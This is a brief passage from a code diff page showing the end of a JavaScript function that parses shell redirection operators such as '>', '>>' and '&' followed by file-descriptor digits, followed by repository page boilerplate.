||||
if (input[cursor] !== ">" && input[cursor] !== "<") return
|
||||
cursor++
|
||||
if (input[cursor] === ">") cursor++
|
||||
if (input[cursor] === "&") {
|
||||
cursor++
|
||||
while (/\d/.test(input[cursor] ?? "")) cursor++
|
||||
}
|
||||
return input.slice(index, cursor)
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user